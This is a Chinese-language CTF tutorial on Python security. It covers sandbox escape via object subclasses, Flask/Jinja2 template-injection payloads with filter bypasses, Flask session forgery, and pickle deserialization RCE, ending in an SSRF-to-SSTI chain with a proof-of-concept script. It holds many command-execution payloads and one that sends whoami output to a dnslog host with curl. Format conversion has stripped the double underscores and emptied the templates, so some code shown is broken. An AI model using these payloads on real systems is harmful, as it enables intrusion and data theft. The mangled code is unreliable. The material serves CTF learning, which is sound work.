聊一聊我認識的 Python 安全
0x00 前言
在 CTF 比賽中,Python 的題目種類也越來越多。記得之前遇到 Python 題目的模板注入反序列化題目筆者都會抄一下網上的 Payload 然後獲取 flag。但喫雞腿,不知道雞腿從何而來,是無法品嚐到其中的美味的~ 本篇文章以筆者的角度來描述一下這盤子中的美味,來刨析出雞腿的腿有多麼性感。並且筆者會將 Python 2 與 Python 3 結合,沒有下酒菜的酒局是沒有味道的。整篇文章共 5700 字,供大家閱讀體會。
0x01 沙箱逃逸原理及利用
相信大家在抄 Payload 的時候會發現(明明只有筆者抄 T.T)關於 SSTI 的 Payload 都是很長一大串,例如:
這是一個典型的文件讀取 Payload。可是我們現在並不知道原理,那麼跟着筆者一步一步嘗試來獲取它其中的祕密吧!
一:刨析原理
首先我們需要理解一下 Python 的幾種數據類型,筆者這裏將常見數據類型放入一個列表中再進行依次打印,例如:
Python3:
Python2:
我們可以看到,使用 type 來進行檢查數據類型時,會返回 <class 'XXX'>,那麼我們會注意到 XXX 前的 class,在編程語言中,class 是用來定義類的。是的,沒錯,在 Python 中,一個字符串則爲 str 類的對象,一個整形則爲 int 類的對象,一個浮點數據則爲 float 的對象...
我們可以通過 id 來看一下這些對象的編號是多少,如圖:
得出首條結論:在 Python 中,一切皆對象。
那麼知道這些有什麼用呢?一個對象則存在屬性與方法,我們可以通過 dir 來進行查看,如圖(這裏用普通字符串來進行舉例):
我們可以看到字符串 python2 與 python3 都返回了 upper,我們知道 upper 是一個函數,那麼我們使用一下該方法。如圖:
因爲在 Python 中一切都是對象,所以方法與類也是對象,如圖:
我們現在缺少的只是方法與類的調用而已,文章中不再描述如何調用。
那麼現在問題就出來了,我們知道 Python 中存在數據類型,這些數據類型它們都是一個類,我們是怎麼找到這個類並實例化出來它們的?又或者說,在 Python 中存在一些函數,我們是怎麼找到它們並調用的?如何查找到是當前的一個問題。
我們可以通過 globals 函數來進行查看 globals 是獲取當前可訪問到的變量):
我們可以看到我們定義的變量 a 已經放入到 globals 函數當中了,我們可以看到有__builtins__這樣一個變量,它是一個模塊。並且模塊名在 Python2 中命名爲__builtin__,在 Python3 中又重新命名爲了 builtins。
我們使用 dir 看一下該模塊中所存在的一些內容。
我們可以看到,我們所使用的基礎方法都存放在該模塊中,我們使用該模塊調用一下 print 函數來進行測試。
我們可以看到,在 Python3 中返回正常,Python2 卻拋出異常,這是因爲在 Python2 中 print 爲一個語句,在 Python3 中它換成了一個函數。
得出第二條結論:在 Python2/3 中,任何基礎類以及函數都存放在__builtin__/builtins 模塊中。
那麼如果我們通過一些方式,可以定位到__builtin__ / builtins 模塊,那豈不是可以進行進行調用任意函數了。
現在的問題是我們該怎麼定位。
我們知道 builtins 是存放在 globals 函數中的,與變量的作用域是有關係的談到變量的作用域,我們會想到一個玩意:自定義方法。
我們可以自定義一個方法,將它視爲一個對象,使用 dir 看一下它下面的成員屬性。
如圖:
果然,在一個普通方法中是存在__globals__這麼一個成員屬性的,我們可以打印它看一下。
我們可以看到 globals 就是 globals() 函數的返回值,同理,它們下面都存在 builtins 變量,我們可以使用 “函數.globals['builtins']. 惡意函數()” 來執行一下 eval。如圖:
我們可以看到,eval 被我們成功執行!
而方法也是可以定義在類中的,我們簡單定義一個類,並且定義一個__init__魔術方法(__init__是魔術方法,該方法在被類創建時自動調用)。
我們可以看到同樣是可以調用 eval 的。
如果我們不定義__init__會怎麼樣呢?我們可以看一下。
可以看到,在 Python2 中會報錯,而 python3 中會返回 slot。不定義__init__是不可以訪問到__globals__成員屬性的,如圖:
我們再看一下模塊中的方法與當前都有什麼區別。
這裏區別就很明顯了,這裏 “模塊中的方法” 中__globals__[__builtins__]中的所有內容都被存放入一個字典中才可以進行調用。我們調用一下 eval 來進行測試,如圖:
當然我們可以使用__import__函數調用 os 來進行執行命令,如圖:
我們可以看到 whoami 被成功調用。
得出第三條結論:我們可以通過一個普通函數 (或類中已定義的方法) 對象下的__globals__成員屬性來得到__builtins__,從而執行任意函數,這裏要注意的是,模塊與非模塊下的__globals__的區別。
那麼實際場景中,根本沒有這樣一個方法給我們利用。我們應該怎麼做?
我們使用 dir 看一下普通類型(int,str,bool....)的返回結果。如圖:
我們查看一下__class__的內容。如圖:
可以看到通過__class__成員屬性可以得到當前對象是 XXX 類的實例化。
在 Python 中,所有數據類型都存放於 Object 一個大類中,如圖:
我們可以通過__bases__/__mro__/__base__來得到 object,如圖:
可以看到在 python2 中並沒有直接返回 object,我們可以再次訪問__bases__就可以得到 object 了,如圖:
那麼通過__subclasses__即可得到 object 下的所有子類,如圖:
下面我們就可以來依次判斷這些類中是否定義__init__(或其他魔術方法)方法,如果定義,那麼就可以拿到__init__(或其他魔術方法)下的__globals__[“__builtins__”] 從而執行任意函數,編寫腳本進行測試:
可以看到這些類都是可以進行利用的類。當然,也可以使用其他魔術方法,這裏舉例__delete__魔術方法,如圖:
得出第四條結論:我們可以通過普通數據類型的__class__成員屬性得到所屬類,再通過__bases__/__base__/__mro__可以得到 object 類,再次通過__subclasses__() 來得到 object 下的所有基類,遍歷所有基類檢查是否存在指定的魔術方法,如果存在,那麼即可獲取__globals__[__builtins__],就可以調用任意函數了。
如上總結在 Python2/3 中都是可以進行利用的,只是在 Python2 中多了一種 file 的姿勢。
如圖:
只是 file 在 Python3 中被移除了,故 Python3 中沒有此利用姿勢。
二:flask 模板注入
沙箱逃逸通常與 flask 的模板注入緊密聯繫,模板中存在可以植入表達式的可控點那麼就會存在 SSTI 問題。
存在漏洞的代碼:
from flask import Flask,render_template,request,render_template_string,session
from datetime import timedelta
app = Flask(name)
app.config['SECRET_KEY'] = 'hacker'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)
@app.route('/test',methods=['GET', 'POST'])
def test():
content = request.args.get("content")
template = '''
'''%(content, session.get('money'))
return render_template_string(template)
@app.route('/sess')
def t():
session['money'] = 100
return '設置金額成功...'
if name == 'main':
app.debug = True
app.run()
在 / test 路由中存在模板注入漏洞,那麼我們可以通過傳遞 payload:
?content={{[].class.base.subclasses()[80].init.globals['builtins']'import'.popen('whoami').read()}} 來進行執行任意命令(__subclasses__可利用的鍵值可以通過 Burp 從 1-999 進行爆破出結果,這裏得到 80 可以被利用),如圖:
至此,我們完成了首次模板注入。
但是成熟的模板注入類的題目它會進行一些過濾的。這裏簡單總結一下。
三:過濾問題總結
這裏簡單記錄一下模板注入中的一些過濾的繞過。
-
過濾中括號
我們知道__subclasses__() 返回一個列表,__globals__返回一個字典,而列表的訪問語法與字典的訪問語法需要藉助於中括號,如果將中括號過濾,那麼我們怎麼辦呢?
我們使用 dir 來查看一下 “正常的列表 / 正常的字典” 下的成員屬性及方法如圖:
可以看到存在__getitem__方法。
進行調用:
當然,字典的訪問也是可以通過__getitem__方法來進行繞過(pop 方法也可以被利用)。
-
過濾引號
如果過濾引號,我們豈不是不可以進行模板注入了?
引號則表示 str 類型的數據,而 str 類型的數據可以通過變量來表示,這裏可以藉助於 flask 中 request.args 對象來作爲變量,以 get 傳遞進行賦值。
構造 Payload:
?content={{[].class.base.subclasses()[80].init.globals[request.args.builtins]request.args.import.popen(request.args.whoami).read()}}&builtins=builtins&import=import&os=os&whoami=whoami
如圖:
成功執行命令。
-
過濾雙下劃線
由於在 jinja2 中允許 “對象[屬性]” 的方式來訪問成員屬性,如圖:
此時的屬性放置的內容爲字符類型,我們可以通過 request.args 全程代替。
構造 Payload:
?content={{[][request.args.class][request.args.base]request.args.subclasses[80][request.args.init][request.args.globals][request.args.builtins]request.args.import.popen(request.args.whoami).read()}}&builtins=builtins&import=import&os=os&whoami=whoami&class=class&base=base&subclasses=subclasses&init=init&globals=globals
如圖:
當然,也可以通過字符串拼接的方式,構造 Payload:
?content={{[][''+'class'+'']}},結果如下:
-
過濾 {{}}
{{}}通常來表示一個變量,而 {%%} 則表示爲流程語句,雖然不可以回顯內容,但是我們可以通過 curl 來進行外帶數據。
Payload:
?content={% if ''.class.base.subclasses()[80].init.globals['builtins']'import'.popen('curl http://w9y7rp.dnslog.cn/?test=
whoami
').read() !=1 %}1{% endif %}
自定義一個 web 服務即可接收到,筆者這裏使用的是 dnslog,得不到發出的參數。如圖:
當然反彈 shell 也是一種不錯的姿勢,這裏就不再描述了。
四:flask 的一些其他問題
-
Python 的 session 值篡改攻擊
在 CTF 考點中還存在一種身份僞造類的題目。我們看一下該代碼塊的 sess 路由,如圖:
from flask import Flask,render_template,request,render_template_string,session
from datetime import timedelta
app = Flask(name)
app.config['SECRET_KEY'] = 'hacker'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)
@app.route('/test',methods=['GET', 'POST'])
def test():
content = request.args.get("content")
template = '''
'''%(content, session.get('money'))
return render_template_string(template)
@app.route('/sess')
def t():
session['money'] = 100
return '設置金額成功...'
if name == 'main':
app.debug = True
app.run()
我們可以看到,這裏定義了 session[money]=100。當我們訪問 / sess 時,服務端就會返回一個 jwt 給我們,如圖:
可以看到 session 是以 jwt 來進行存儲的,而使用 jwt 存儲是有危害的。
關於 jwt 的解釋:https://www.jianshu.com/p/576dbf44b2ae
只要我們獲取 SECRET_KEY,那麼該 JWT 是可以進行僞造的。
問題是我們如何進行獲取 SECRET_KEY?
- 第一種:通過 SSTI 的 {{config}}
如圖:
我們可以看到,{{config}} 是可以竊取出 SECRET_KEY。
- 第二種:通過 Linux 中的 / proc/self/environ
這種姿勢我們會在 “CTF 小結” 中的一道叫做 “[PASECA2019] honey_shop” 的題目所記載。它需要任意文件讀取的姿勢纔可以進行得到 SECRET_KEY。
- 第三種:爆破
有一道叫做 “[CISCN2019 華北賽區 Day1 Web2]ikun” 的題目涉及到了這種姿勢,其中又提到了 Python 反序列化,這裏奉上 WriteUp:
https://blog.csdn.net/weixin_43345082/article/details/97817909
對於反序列化,筆者會在 0x02 中進行描述。
我們可以通過 flask-session-cookie-manager 工具來生成惡意的 JWT 即可完成身份僞造,工具 GitHub:https://github.com/style-404/flask-session-cookie-manager。
首先我們對當前的 JWT 進行 base64 解碼,如圖:
這裏可以得出一條 JSON 數據過來,那麼我們使用 flask-session-cookie-manager 工具,藉助 SECRET_KEY 來將 money 篡改爲 999.
工具使用:python3 flask_session_cookie_manager3.py encode -s "secret_key" -t "json"
修改本地的 session 值,隨後訪問 / test 查看結果。
可以看到成功篡改 money 的值。
-
基於 DEBUG 的 PIN 碼攻擊
它所利用的條件爲 任意文件讀取 + flask 的 DEBUG 模式。
參考文章:https://xz.aliyun.com/t/2553
這裏筆者就不再做演示了。
五:部分 CTF 題目實例
-
Real -> [Flask]SSTI
這道題是比較基礎的一道題目,無任何過濾,我們直接進行注入即可。
可以看到表達式被正常解析,那麼繼續往下操作即可。
構造 Payload:
?name={{[].class.base.subclasses()[80].init.globals['builtins']'import'.popen('ls /').read()}}
命令執行結果如圖:
-
WEB -> [GYCTF2020]FlaskApp
該題目有兩個功能,Base64 加密與 Base64 解密,在 Base64 解密處存在模板注入。
題目如圖:
解密結果:
由此得知存在 ssti。
經過測試,得知 75 存在可利用的 function 爲__init__,如圖:
提交後:
但繼續往下構造攻擊鏈時,發現過濾了一些敏感關鍵字,使用 open 進行讀取源碼:
源碼過濾如圖:
我們可以看到萬惡的 request 也被過濾了,但是這裏我們可以使用字符拼接來進行繞過,popen 可以使用中括號加字符拼接的方式進行調用,那麼構造 Payload:{{[].class.base.subclasses()[75].init.globals['builtins']'imp'+'ort'['po'+'pen']('ls /').read()}}
編碼爲 base64 後提交,查看一下結果:
存在 flag 關鍵字,導致我們無法讀取,這裏我們可以通過命令執行的繞過姿勢 “\” 來進行繞過,再次構造 Payload:
{{[].class.base.subclasses()[75].init.globals['builtins']'imp'+'ort'['po'+'pen']('cat /this_is_the_fl\ag.txt').read()}}
編碼爲 base64 後進行提交:
-
WEB -> [CSCCTF 2019 Qual]FlaskLight
打開題目源碼發現提示參數 search
那麼我們可以通過? search={{2*3}} 來查看一下結果。
可以看到 6 彈我們一臉,那麼此處存在 ssti。
__subclasses__丟進 Burp 進行爆破鍵值,如圖:
得出下標爲 59 的__init__魔術方法可以被利用,如圖:
構造 Payload 至__globals__發現被過濾,簡單訪問一下,真的返回 500,如圖:
可以使用 request.arg.x 來進行繞過,構造 Payload:
?search={{[].class.base.subclasses()[59].init[request.args.g]['builtins']'import'.popen('ls /flasklight').read()}}&g=globals
查看結果:
再次構造 Payload 讀取 flag:
?search={{[].class.base.subclasses()[59].init[request.args.g]['builtins']'import'.popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}&g=globals
如圖:
查看源代碼,發現 Ajax 請求:
筆者在構造 Payload 時,發現過濾了 單引號(‘)、點(.),下劃線(_)那麼我們可以通過雙引號來解析變量,並且使用 16 進制代替下劃線即可。
如圖:
構造 Payload 來進行爆破下標:
?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"]"\x5F\x5Fsubclasses\x5F\x5F"[§80§]["\x5F\x5Finit\x5F\x5F"]}}
發現下標爲 91 的__init__方法可以被利用,如圖:
構造 Payload 執行命令:
?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"]"\x5F\x5Fsubclasses\x5F\x5F"[91]["\x5F\x5Finit\x5F\x5F"]["\x5F\x5Fglobals\x5F\x5F"]["\x5F\x5Fbuiltins\x5F\x5F"]"\x5F\x5Fimport\x5F\x5F""popen""read"}}
其中
\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x2f\x61\x70\x70\x2e\x70\x79
爲 cat /proc/self/cwd/app.py,這裏轉換可以使用筆者已經寫好的腳本:
payload = b'cat /proc/self/cwd/app.py'
string = payload.hex()
result = ''
for i in range(0, len(string), 2):
result += '\x' + string[i:i+2]
print(result)
結果如圖:
可以看到 flag 文件被 os 刪掉了,但是 flag 的值被存放於 app.config 當中,並且經過了 encode 函數處理,我們可以看一下 encode 函數的定義:
是使用的異或算法,那麼現在我們只需要從 config 中拿到加密後的 flag 值,並且將它再次執行一下 encode 函數即可得到 flag。
再次執行函數
則得到 flag。
-
WEB -> [PASECA2019]honey_shop
該題目屬於 JWT 身份僞造攻擊,首先我們打開主頁,可以看到金額爲 1336,如圖:
而 flag 需要 1337。
在 / download 路由下存在文件下載,猜測存在任意文件下載,那麼我們下載../../../../../../../../../proc/self/environ 來進行觀察,如圖:
成功下載到並拿到 SECRET_KEY,然後我們對當前網址的 jwt 使用 base64 進行解密,得出:
僞造爲:{"balance":1338,"purchases":[]},即可購買 flag 了。
0x02 Python 反序列化漏洞利用
原理文章推薦
因爲在知乎有位師傅寫的非常不錯,那麼筆者在這裏也不去班門弄斧。
傳送門:https://zhuanlan.zhihu.com/p/89132768
這裏做一下總結,並且對一種利用姿勢擴大成果,然後分享一道有意思的例題。
Python 反序列化能幹什麼?
R 指令碼的 RCE
Python 的反序列化比 PHP 危害更大,可以直接進行 RCE。
編寫測試腳本:
import pickle, os, base64
class Exp(object):
def reduce(self):
return (os.system, ('dir',))
with open('./hacker.txt', 'wb') as fileObj:
pickle.dump(Exp(), fileObj)
會在當前目錄生成 hacker.txt,內容爲序列化的值。如圖:
我們再次使用 pickle 進行反序列化即可執行 dir 命令。
這裏可以看到成功執行了 dir 命令。
-
c 指令碼的變量獲取
當 R 指令碼被禁用後,我們可以採取這種姿勢來獲取變量。
在當前目錄下創建 flag.py 文件,並且存放一個 flag 變量,當作模塊來進行使用。如圖:
編寫獲取 flag 變量的腳本:
import flag, pickle
class Person():
pass
b = b'\x80\x03c__main__\nPerson\n)\x81}(Vtest\ncflag\nflag\nub.'
print(pickle.loads(b).test)
主要思路爲:“cflag\nflag\n“當作 test 屬性的 value 值壓進了前序棧的空 dict 隨後使用 b 覆蓋了 Person 類的__dict__成員屬性,導致了變量被竊取。
我們可以看到 pickle.loads 返回的對象下的 test 就是 flag 的值,如圖:
-
c 指令碼的變量修改
當 R 指令碼被禁用後,並且 find_class 函數只允許獲取__main__中的變量時,我們可以採取這種姿勢來修改任意變量。
在原理文章中並沒有提到一種姿勢,而有一種姿勢也是可以進行利用的。我們先按照原理文章來測試一遍。
測試腳本:
import flag, pickle
class Person():
pass
b = b'\x80\x03c__main__\nflag\n}(Vflag\nVhacker\nub0c__main__\nPerson\n)\x81}(Va\nVa\nub.'
pickle.loads(b)
print(flag.flag)
主要思路爲:使用 c 將 flag 模塊導入進來,通過 ub 來更新 flag 模塊的__dict__屬性,故可以惡意修改變量的值。
查看結果:
我們可以看到,flag 包中的 flag 變量被成功修改。
那麼在反序列化中,一個普通字符串也是可以當作一種數據來進行序列化的,所以這裏並不需要 Person 的類支撐即可完成變量修改。
修改腳本如下:
import flag, pickle
b = b'\x80\x03c__main__\nflag\n}(Vflag\nVhacker\nub0Va\n.'
print(pickle.loads(b))
print(flag.flag)
結果:
那麼就成功篡改了 flag 包中的 flag 變量的內容。
-
setstate 特性 RCE
編寫測試腳本:
import flag, pickle
class Person():
pass
b = b'\x80\x03c__main__\nobject\n)\x81}(V__setstate__\ncos\nsystem\nubVdir\nb.'
print(pickle.loads(b))
主要思路爲:藉助於__setstate__的特性造成了 RCE。
執行結果:
可以看到成功執行了 dir 命令。
近看一道 ssrf + 反序列化 + SSTI 的例題
這道題是朋友很早之前就留下來的,在網上也找不到現成的反序列化題目,就用它好了。
題目代碼是這樣的:
from flask import Flask,render_template
from flask import request
import urllib
import sys
import os
import pickle
import ctf_config
from jinja2 import Template
import base64
import io
app = Flask(name)
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == 'main':
return getattr(sys.modules['main'], name)
raise pickle.UnpicklingError("only main")
def get_domain(url):
if url.startswith('http://'):
url = url[7:]
if not url.find("/") == -1:
domain = url[url.find("@")+1:url.index("/",url.find("@"))]
else:
domain = url[url.find("@")+1:]
print(domain)
return domain
else:
return False
@app.route("/", methods=['GET'])
def index():
return render_template("index.html")
@app.route("/get_baidu", methods=['GET']) # get_baidu?url=http://127.0.0.1:8000/?@www.baidu.com/
def get_baidu():
url = request.args.get("url")
if(url == None):
return "please get url"
if(get_domain(url) == "www.baidu.com"):
content = urllib.request.urlopen(url).read()
return content
else:
return render_template('index.html')
@app.route("/admin", methods=['GET'])
def admin():
data = request.args.get("data")
if(data == None):
return "please get data"
ip = request.remote_addr
if ip != '127.0.0.1':
return redirect('index')
else:
name = base64.b64decode(data)
if b'R' in name:
return "no reduce"
name = RestrictedUnpickler(io.BytesIO(name)).load()
if name == "admin":
t = Template("Hello" + name)
else:
t = Template("Hello" + ctf_config.name)
return t.render()
if name == 'main':
app.debug = False
app.run(host='0.0.0.0', port=8000)
在 45 行中存在一個判斷。
if(get_domain(url) == "www.baidu.com"):
content = urllib.request.urlopen(url).read()
return content
如果進入到該分支則調用至 urllib.request.urlopen 函數,那麼我們看一下 get_domain 方法是邏輯是怎麼樣的。
在 27 行中出現了漏洞問題,如果 url 中存在 “/”,則返回 @符號往後的內容,那麼這裏存在一個僞造的情況,例如:http://127.0.0.1:3306/?@www.baidu.com/,
則會匹配到 www.baidu.com/,但是實際發送出的 HTTP 請求還是發送至 127.0.0.1 身上,所以說這裏存在一個 SSRF 漏洞問題。
而在 51-68 行中確實驗證了訪問者的 IP 這裏可以使用 SSRF 進行繞過 如圖:
61 行禁用了 R 指令,則表示不可以使用__reduce__進行命令執行操作,可以看到 63 行實例化了 RestrictedUnpickler 類,而該類則繼承了 pickle.Unpickler 類,如圖:
同時重寫了 find_class 的方法,這時 c 指令只可以進行導入本地模塊。而類名中存在 “R 關鍵字”,則無法進行__setstate__姿勢的 RCE,這裏利用方式只剩下一種:c 指令碼的變量修改。
但是變量修改有什麼用呢?我們可以注意到第 67 行的 ctf_config 包下的 name 變量,如圖:
直接將變量的值拼接到 Template 方法中,這裏存在一個 SSTI 注入問題。
那麼思路就有了:通過 get_data 路由發送 SSRF 請求 ->admin 路由接收進行反序列化 -> 修改 ctf_config 下的 name 屬性爲 SSTI 注入語句 -> 實現 RCE。
那麼編寫 POC 腳本:
import base64
ssti = b'2*6'
payload = b'\x80\x03c__main__\nctf_config\n}(Vname\nV{{' + ssti + b'}}\nub0V123\n.'
payload = base64.b64encode(payload).decode('utf-8')
print(payload)
傳遞 Payload:
http://127.0.0.1:8000/get_baidu?url=http://127.0.0.1:8000/admin?data=SSTI 的值 %26@www.baidu.com/
如圖:
成功進行 SSTI 注入,筆者發現__subclasses__() 的第 81 下標存在可利用的 function,那麼這裏直接執行 whoami:
可以看到成功執行了 “whoami”。
0x03 尾巴
無聊的話,就一起來玩會 Python 吧。
本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源:https://mp.weixin.qq.com/s/aoUR-fSuyZgUK6olX4s-qw